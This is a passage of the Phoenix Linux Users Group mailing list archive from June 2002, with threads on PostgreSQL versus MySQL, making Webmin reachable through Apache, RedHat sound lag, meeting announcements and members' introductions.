between PostgreSQL and MySQL is > negligible. Tim Perdue from SourceForge did a study a while back > demonstrating that the newer PostgreSQL was actually faster than MySQL in > some cases. Trigger and PL support in PGSQL is very nice and I have never > been let down by PostgreSQL. PostgreSQL is the foundational database for > all of my Genomics research projects. I am transparently bias on the > subject because I have been burned by MySQL a few times so take that into > consideration. A replication daemon for PostgreSQL is also coming along > nicely. > > Joel Dudley > Faculty Research Associate > Arizona State University > Kumar Laboratory of Evolutionary Functional Genomics > http://lsweb.la.asu.edu/skumar/ > > > -----Original Message----- > From: William Lindley [mailto:wlindley@wlindley.com] > Sent: Monday, June 24, 2002 9:13 PM > To: Phoenix Linux Users Group > Subject: Re: PostgreSQL versus MySQL (fwd) > > > In response to the earlier question, Scott Walters > who is not on the PLUG list writes: > > -------- > > PostgreSQL supports triggers, constraints, PL, subqueries, and serveral > other things. > > MySQL supports replication, precompiled queries (huge speed up on resident > code), and is optimized for throughput in addition to speed. > > Both of them are very fast, and out perform almost all commercial > databases, hands down. > > I wouldn't sweat it too much either way unless you specificly need a > feature that only one or the other has. They are both excellent systems. > > I'd use MySQL where speed was the biggist factor. > > I'd use Postgres where complex reporting or building a large > ("Enterprise") data warehouse was the concern. > > -scott > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 17:40:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 25 Jun 2002 10:40:10 -0700 Subject: [PLUG-announce]Meeting TONIGHT Message-ID: <0206251040100D.07972@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 When: 7:00 p.m. Where: Glendale Community College High Tech 1 Teleconference Room Topic: A Post Mortem on the Install Fest Be There! I hope Steve has access to the Internet and a connection to a projector. Sure will make the presentation a LOT better ::grin:: - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRiq+ysk3ywszI1FEQJVmACg9yUMcJyMCbRN49xg0ff4gnZPJ7UAoIgl t8DIq/FtYP6lzCCFxwXhwPUP =ntXD -----END PGP SIGNATURE----- _______________________________________________ PLUG-announce mailing list - PLUG-announce@lists.PLUG.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-announce PLUG Website at http://plug.phoenix.az.us From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 18:03:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Tue, 25 Jun 2002 11:03:42 -0700 Subject: please, help her In-Reply-To: <3D181088.FF6BA22@telocity.com> References: <3D181088.FF6BA22@telocity.com> Message-ID: <0206251103420H.07972@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I will email her and see what we can do to help and encourage her to attend a meeting or two to get better acquainted with us. If we are lucky, she will be close to someone who will mentor her personally. On Monday 24 June 2002 23:41, you wrote: > Hi > > I've found your e-mail address on this page http://plug.phoenix.az.us/ > > I've have a friend in Phoenix who is fed up with stability of the WINDOWS > and constant fight with the VIRUSES. ( she lost alle-mails, family photos > etc etc ) > > I've suggested her to try LINUX...but, unfortunately, she does not know > to install it by her self... > > Personally, I think, installing mandrake should not be a problem > but this is another story... > > so, can you help her out ? or perhaps some of your friends ? > > running REALPLAYER is a MUST (+ mozilla 1.0) > Her PC should be DUAL BOOT... preferably MANDRAKE + WINDOWS ME ( which is > on her box right now) > > her address: MaryPat McDonald > mpmcd@qwest.net or usamacka@hotmail.com > > > Regards > > Igor > > P.S.: I can not help her, because I live in San Jose, California (Silicon > Valley) > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRiwfisk3ywszI1FEQJDcwCeNcIpqKeQHMcAUf/h9IFaBnNKZFAAoIUZ L5sKYeR9i1itCg/pRGPSAdL/ =BvMb -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 18:34:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Tue, 25 Jun 2002 11:34:00 -0700 Subject: PostgreSQL Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B516@mail.int.fh.org> My company is switching vendors for our main donor tracking program. The new one is currently on a Unix/unify platform but is switching sometime early next year to a Linux/PostgreSQL platform. We are looking for any formal PostgreSQL training. Since we are switching from a Visual FoxPro/SQL Server platform, we are fairly proficient in SQL but we have never used PostgreSQL. Any one have any training suggestions? Tom Achtenberg Developer, Information Technologies Food for the Hungry / US (480) 609-7750 (voice) (480) 443-1420 (fax) TomA@fh.org From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 18:53:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Tue, 25 Jun 2002 13:53:49 -0500 (CDT) Subject: PostgreSQL In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B516@mail.int.fh.org> Message-ID: Postgres is a class that was on my list for wanting to teach.... -Derek On Tue, 25 Jun 2002, Tom Achtenberg wrote: > My company is switching vendors for our main donor tracking program. The new one is currently on a Unix/unify platform but is switching sometime early next year to a Linux/PostgreSQL platform. We are looking for any formal PostgreSQL training. Since we are switching from a Visual FoxPro/SQL Server platform, we are fairly proficient in SQL but we have never used PostgreSQL. Any one have any training suggestions? > > Tom Achtenberg > Developer, Information Technologies > Food for the Hungry / US > (480) 609-7750 (voice) > (480) 443-1420 (fax) > TomA@fh.org > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 20:05:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 25 Jun 2002 16:05:09 -0400 Subject: Webmin via Apache Message-ID: OK, I am setting up a new box as a server and I want to remote administer it with Webmin (www.webmin.com). I downloaded it, installed it on the box and I can run it locally using the URL http://localhost:10000/. Cool. I am trying to follow the directions at http://www.webmin.com/webmin/apache.html to make it run under a subdirectory with Apache as the server but it is not working. I get 404 errors when trying to load the URL http://0.0.0.0/webmin. I am lost as to what step I am doing wrong. What are the tricks to this setup? Alan From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 20:27:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kyle OMalley) Date: Tue, 25 Jun 2002 13:27:07 -0700 Subject: Hello I'm new (kinda) Message-ID: <20020625202707.GB31500@aries.evilmascot.com> Well its about time I properly introduce myself to the group. My name is Kyle O'Malley and I'm a unixoholic. Much like the rest of the group I can say I love linux. I work for an ISP based in Mesa, Centerlynx, my official job title is Systems Admin. but I'm basicly working a a two man team so I end up doing a little of everything and alot of mainly linux administration. We have about 20 machines running linux. The reason I say I'm kinda new is because I've been subscribed to this list for probably, well a year maybe by now. You could say I've been a lurker. I've actually been to two plug meetings so far but I'm to shy to actually stick around or introduce myself. I'm hoping to get more involved in this whole group, mind you I'm surely no guru (yet :)) but I'm pretty damn happy with this whole os and I'd like to help whenever I can. Anyways, I'd like to extend my thanks to everyone in and running this group; You guys really do a stellar job. -Kyle Linux: It's a good thing. From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 20:36:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Tue, 25 Jun 2002 13:36:17 -0700 Subject: ride to west side meeting Message-ID: <20020625203619.NQZN25007.fed1mtao01.cox.net@there> well, I need a ride to the west side meeting. I am located at 83rd and osborn. anyone in the area going? call me: 623-849-9515 Technomage -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 20:45:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C) Date: Tue, 25 Jun 2002 13:45:00 -0700 Subject: Webmin via Apache Message-ID: <200206252045.QAA05549@hostinworld6.com> I think the 0.0.0.0 is to be replaced by your IP address. If it's trying to link there, then something's configured wrong. Alandd@mindspring.com wrote : > OK, I am setting up a new box as a server and I want to remote administer it > with Webmin (www.webmin.com). > > I downloaded it, installed it on the box and I can run it locally using the > URL http://localhost:10000/. Cool. > > I am trying to follow the directions at > http://www.webmin.com/webmin/apache.html to make it run > under a subdirectory > with Apache as the server but it is not working. I get 404 errors when > trying > to load the URL http://0.0.0.0/webmin. I am lost as to what step I am > doing > wrong. > > What are the tricks to this setup? > > Alan > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss Bryce C. Network Administrator CoBryce Communications Bryce@BryceCo.Net http://www.BryceCo.Net From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 21:02:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 25 Jun 2002 17:02:09 -0400 Subject: Webmin via Apache Message-ID: I am sorry for the confusion. All the zeros in the address are just place holders. The correct address is 192.168.200.6. ie. I go to my remote browser and enter the address "http://192.168.200.6" and I get the default Apache web page, so I know Apache is working. I enter the address "http://192.168.200.6/webmin" and I get the 404 error. My question is why do I get the error? Alan On Tue, 25 Jun 2002 13:45:00 -0700 Bryce C wrote: I think the 0.0.0.0 is to be replaced by your IP address. If it's trying to link there, then something's configured wrong. Alandd@mindspring.com wrote : > OK, I am setting up a new box as a server and I want to remote administer it > with Webmin (www.webmin.com). > > I downloaded it, installed it on the box and I can run it locally using the > URL http://localhost:10000/. Cool. > > I am trying to follow the directions at > http://www.webmin.com/webmin/apache.html to make it run > under a subdirectory > with Apache as the server but it is not working. I get 404 errors when > trying > to load the URL http://0.0.0.0/webmin. I am lost as to what step I am > doing > wrong. > > What are the tricks to this setup? > > Alan > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss Bryce C. Network Administrator CoBryce Communications Bryce@BryceCo.Net http://www.BryceCo.Net ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 21:12:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 25 Jun 2002 17:12:17 -0400 Subject: Meeting TONIGHT Message-ID: Jim will be bringing a box of swag for the west siders to enjoy. We have not forgotten you. Alan On Tue, 25 Jun 2002 10:40:10 -0700 Jim wrote: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 When: 7:00 p.m. Where: Glendale Community College High Tech 1 Teleconference Room Topic: A Post Mortem on the Install Fest Be There! I hope Steve has access to the Internet and a connection to a projector. Sure will make the presentation a LOT better ::grin:: - -- Jim From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 21:24:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike) Date: Tue, 25 Jun 2002 16:24:32 -0500 Subject: Webmin via Apache In-Reply-To: ; from alandd@mindspring.com on Tue, Jun 25, 2002 at 05:02:09PM -0400 References: Message-ID: <20020625162432.E8770@lilly.csoft.net> It has been years since I tried webmin, however, I believe you need to see what port number webmin is running on (i.e 10000). Try something like http://192.168.200.6:10000 v/r Mike On Tue, Jun 25, 2002 at 05:02:09PM -0400, alandd@mindspring.com wrote: I am sorry for the confusion. All the zeros in the address are just place holders. The correct address is 192.168.200.6. ie. I go to my remote browser and enter the address "http://192.168.200.6" and I get the default Apache web page, so I know Apache is working. I enter the address "http://192.168.200.6/webmin" and I get the 404 error. My question is why do I get the error? Alan On Tue, 25 Jun 2002 13:45:00 -0700 Bryce C wrote: I think the 0.0.0.0 is to be replaced by your IP address. If it's trying to link there, then something's configured wrong. Alandd@mindspring.com wrote : > OK, I am setting up a new box as a server and I want to remote administer it > with Webmin (www.webmin.com). > > I downloaded it, installed it on the box and I can run it locally using the > URL http://localhost:10000/. Cool. > > I am trying to follow the directions at > http://www.webmin.com/webmin/apache.html to make it run > under a subdirectory > with Apache as the server but it is not working. I get 404 errors when > trying > to load the URL http://0.0.0.0/webmin. I am lost as to what step I am > doing > wrong. > > What are the tricks to this setup? > > Alan > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss Bryce C. Network Administrator CoBryce Communications Bryce@BryceCo.Net http://www.BryceCo.Net ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 21:26:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Patrick Hustis) Date: Tue, 25 Jun 2002 14:26:25 -0700 Subject: Webmin via Apache In-Reply-To: Message-ID: <5.1.0.14.0.20020625142317.025570a0@teltrax.com> When I originally set up Apache on my system at home (this was about 6 months ago), I noticed that whenever I entered a URL containing a directory, it wouldn't find anything unless I included the final slash "/". If I was accessing a page, then it was fine, but if I just wanted the index.html file to load automagically, then I had to make sure it was there. This may be a silly question, but have you tried using "http://192.168.200.6/webmin/" I know theres a mod that can be compiled in to take care of this, but since it was for a particular project that didn't require it, I never investigated further. At 05:02 PM 06/25/2002 -0400, you wrote: >I am sorry for the confusion. All the zeros in the address are just place >holders. The correct address is 192.168.200.6. > >ie. I go to my remote browser and enter the address "http://192.168.200.6" >and I get the default Apache web page, so I know Apache is working. I enter >the address "http://192.168.200.6/webmin" and I get the 404 error. My >question is why do I get the error? > >Alan > >On Tue, 25 Jun 2002 13:45:00 -0700 Bryce C wrote: > >I think the 0.0.0.0 is to be replaced by your IP address. If it's trying to >link there, then something's configured wrong. > > >Alandd@mindspring.com wrote : > > > OK, I am setting up a new box as a server and I want to remote > administer it > > > with Webmin (www.webmin.com). > > > > I downloaded it, installed it on the box and I can run it locally using the > > URL http://localhost:10000/. Cool. > > > > I am trying to follow the directions at > > http://www.webmin.com/webmin/apache.html to make it run > > under a subdirectory > > with Apache as the server but it is not working. I get 404 errors when > > trying > > to load the URL http://0.0.0.0/webmin. I am lost as to what step I am > > doing > > wrong. > > > > What are the tricks to this setup? > > > > Alan > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >Bryce C. >Network Administrator >CoBryce Communications >Bryce@BryceCo.Net >http://www.BryceCo.Net > > > > > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post >to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 21:41:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 25 Jun 2002 17:41:06 -0400 Subject: Webmin via Apache Message-ID: These do not work either. I must have messed up one of the configuration steps... I think I will remove it and try again since I have now been mucking around and may have made it worse. Still works on the localhost:10000 port though. Alan It has been years since I tried webmin, however, I believe you need to see what port number webmin is running on (i.e 10000). Try something likehttp://192.168.200.6:10000 On Tue, 25 Jun 2002 14:26:25 -0700 Patrick Hustis wrote: When I originally set up Apache on my system at home (this was about 6 months ago), I noticed that whenever I entered a URL containing a directory, it wouldn't find anything unless I included the final slash "/". If I was accessing a page, then it was fine, but if I just wanted the index.html file to load automagically, then I had to make sure it was there. This may be a silly question, but have you tried using "http://192.168.200.6/webmin/" I know theres a mod that can be compiled in to take care of this, but since it was for a particular project that didn't require it, I never investigated further. At 05:02 PM 06/25/2002 -0400, you wrote: >I am sorry for the confusion. All the zeros in the address are just place >holders. The correct address is 192.168.200.6. > >ie. I go to my remote browser and enter the address "http://192.168.200.6" >and I get the default Apache web page, so I know Apache is working. I enter >the address "http://192.168.200.6/webmin" and I get the 404 error. My >question is why do I get the error? > >Alan > >On Tue, 25 Jun 2002 13:45:00 -0700 Bryce C wrote: > >I think the 0.0.0.0 is to be replaced by your IP address. If it's trying to >link there, then something's configured wrong. > > >Alandd@mindspring.com wrote : > > > OK, I am setting up a new box as a server and I want to remote > administer it > > > with Webmin (www.webmin.com). > > > > I downloaded it, installed it on the box and I can run it locally using the > > URL http://localhost:10000/. Cool. > > > > I am trying to follow the directions at > > http://www.webmin.com/webmin/apache.html to make it run > > under a subdirectory > > with Apache as the server but it is not working. I get 404 errors when > > trying > > to load the URL http://0.0.0.0/webmin. I am lost as to what step I am > > doing > > wrong. > > > > What are the tricks to this setup? > > > > Alan > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >Bryce C. >Network Administrator >CoBryce Communications >Bryce@BryceCo.Net >http://www.BryceCo.Net > > > > > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post >to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 21:55:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: Tue, 25 Jun 2002 14:55:12 -0700 Subject: Redhat Sound Problems. References: <0206251040100D.07972@nova.wedge.org> Message-ID: <001001c21c92$fb38ecd0$0e02a8c0@krycom> I just installed RedHat but all the sounds in games don't mesh. For example in lbreakout2, when the ball hits the brick, you don't hear it until 2 sec's later. what's the deal? From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 22:01:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 25 Jun 2002 18:01:55 -0400 Subject: Miniserv on eth0 (was: Webmin via Apache) Message-ID: OK, my question has changed. Webmin as a web server, miniserv, that comes with it. It does not seem to be watching for connections on the ethernet, only the loopback (localhost) connection. How do I get it to serve pages out the eth0? Alan From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 22:04:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Cap Bateman) Date: 25 Jun 2002 15:04:53 -0700 Subject: Webmin via Apache In-Reply-To: References: Message-ID: <1025042698.2269.3.camel@desktop.capnet.lan> > > It has been years since I tried webmin, however, I believe you need > to see what port number webmin is running on (i.e 10000). > > Try something like http://192.168.200.6:10000 > IIRC, the latest versions require you to use https://192.168.x.x:10000 Gotta use the secure login. At least that's so on my fresh install of Mandrake 8.2 HTH Cap From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 22:22:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Tue, 25 Jun 2002 15:22:21 -0700 Subject: Redhat Sound Problems. Message-ID: <2AAC72149C827944B96C854ABD0BCAFF1A4E07@azmscorp01.corp.azms> Kind of like talking on the phone and hearing yourself on the radio. Something like that. does it happen in all games or just lbreakout2? -----Original Message----- From: Richard L. Proctor [mailto:krycom1@cox.net] Sent: Tuesday, June 25, 2002 2:55 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Redhat Sound Problems. I just installed RedHat but all the sounds in games don't mesh. For example in lbreakout2, when the ball hits the brick, you don't hear it until 2 sec's later. what's the deal? ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 23:33:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Tue, 25 Jun 2002 16:33:38 -0700 Subject: test message Message-ID: <20020625233337.PWOA25007.fed1mtao01.cox.net@there> this is a test -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 23:48:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug@unfm00.com) Date: Tue, 25 Jun 2002 19:48:54 -0400 Subject: Webmin via Apache Message-ID: If you use the Tar ball from thier website, you'll have to add the ssl afterwords. thus you still may be http://192.168.xx:10000 Original Message: ----------------- From: Cap Bateman dbateman@sprintmail.com Date: 25 Jun 2002 15:04:53 -0700 To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Webmin via Apache > > It has been years since I tried webmin, however, I believe you need > to see what port number webmin is running on (i.e 10000). > > Try something like http://192.168.200.6:10000 > IIRC, the latest versions require you to use https://192.168.x.x:10000 Gotta use the secure login. At least that's so on my fresh install of Mandrake 8.2 HTH Cap ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -------------------------------------------------------------------- mail2web - Check your email from the web at http://mail2web.com/ . From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 00:01:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: Tue, 25 Jun 2002 17:01:35 -0700 Subject: test message References: <20020625233337.PWOA25007.fed1mtao01.cox.net@there> Message-ID: <000d01c21ca4$a362a340$0e02a8c0@krycom> Test Failed! :-) ----- Original Message ----- From: "technomage" To: "PLUG-AZ" Sent: Tuesday, June 25, 2002 4:33 PM Subject: test message > this is a test > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 00:07:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 25 Jun 2002 20:07:27 -0400 Subject: Webmin via Apache Message-ID: I actually installed from the rpm on the web site but I still had to install SSL separately. Works the same either way. If I disable SSL, "http:..." does not work. If I enable SSL, "https:..." does not work. When I say it does not work, I am talking about trying to bring up Webmin in a browser on a different computer so I can admin this one via the network. The localhost login works with or without SSL enabled. Alan On Tue, 25 Jun 2002 19:48:54 -0400 "plug@unfm00.com" wrote: If you use the Tar ball from thier website, you'll have to add the ssl afterwords. thus you still may be http://192.168.xx:10000 Original Message: ----------------- From: Cap Bateman dbateman@sprintmail.com Date: 25 Jun 2002 15:04:53 -0700 To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Webmin via Apache > > It has been years since I tried webmin, however, I believe you need > to see what port number webmin is running on (i.e 10000). > > Try something like http://192.168.200.6:10000 > IIRC, the latest versions require you to use https://192.168.x.x:10000 Gotta use the secure login. At least that's so on my fresh install of Mandrake 8.2 HTH Cap ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -------------------------------------------------------------------- mail2web - Check your email from the web at http://mail2web.com/ . ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 00:15:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Tue, 25 Jun 2002 17:15:08 -0700 Subject: need a ride Message-ID: <20020626001507.VGJB26656.fed1mtao04.cox.net@there> I don't know if my last message made it to the list. I need a ride to the westside meeting. please call me at 623-849-9515 if you are going there and happen to be near 83rd ave and indianschool road. I need a response PDQ! Technomage -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 00:17:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Tue, 25 Jun 2002 17:17:37 -0700 Subject: test message Message-ID: <2AAC72149C827944B96C854ABD0BCAFF1A4E08@azmscorp01.corp.azms> Hello this is the plug mailing list messages to you have been bouncing. If they continue to bounce we will send a probe.... :) -----Original Message----- From: Richard L. Proctor [mailto:krycom1@cox.net] Sent: Tuesday, June 25, 2002 5:02 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: test message Test Failed! :-) ----- Original Message ----- From: "technomage" To: "PLUG-AZ" Sent: Tuesday, June 25, 2002 4:33 PM Subject: test message > this is a test > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 18:49:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Digital Wokan) Date: Sat, 22 Jun 2002 11:49:30 -0700 Subject: Webmin via Apache In-Reply-To: <20020625162432.E8770@lilly.csoft.net> References: <20020625162432.E8770@lilly.csoft.net> Message-ID: <200206221149.30253.wokan@cox.net> He's trying to get it to run through Apache instead of having a Perl script sit around waiting for connections. (And the added bonus of running it on port 80 or possibly 443.) On Tuesday 25 June 2002 14:24, Mike wrote: > It has been years since I tried webmin, however, I believe you need > to see what port number webmin is running on (i.e 10000). > > Try something like http://192.168.200.6:10000 > > > v/r > Mike > > On Tue, Jun 25, 2002 at 05:02:09PM -0400, alandd@mindspring.com wrote: > I am sorry for the confusion. All the zeros in the address are just place > holders. The correct address is 192.168.200.6. > > ie. I go to my remote browser and enter the address > "http://192.168.200.6" and I get the default Apache web page, so I know > Apache is working. I enter the address "http://192.168.200.6/webmin" and I > get the 404 error. My question is why do I get the error? > > Alan > > On Tue, 25 Jun 2002 13:45:00 -0700 Bryce C wrote: > > I think the 0.0.0.0 is to be replaced by your IP address. If it's trying > to link there, then something's configured wrong. > > Alandd@mindspring.com wrote : > > OK, I am setting up a new box as a server and I want to remote > > administer it > > > > with Webmin (www.webmin.com). > > > > I downloaded it, installed it on the box and I can run it locally using > > the URL http://localhost:10000/. Cool. > > > > I am trying to follow the directions at > > http://www.webmin.com/webmin/apache.html to make it run > > under a subdirectory > > with Apache as the server but it is not working. I get 404 errors when > > trying > > to load the URL 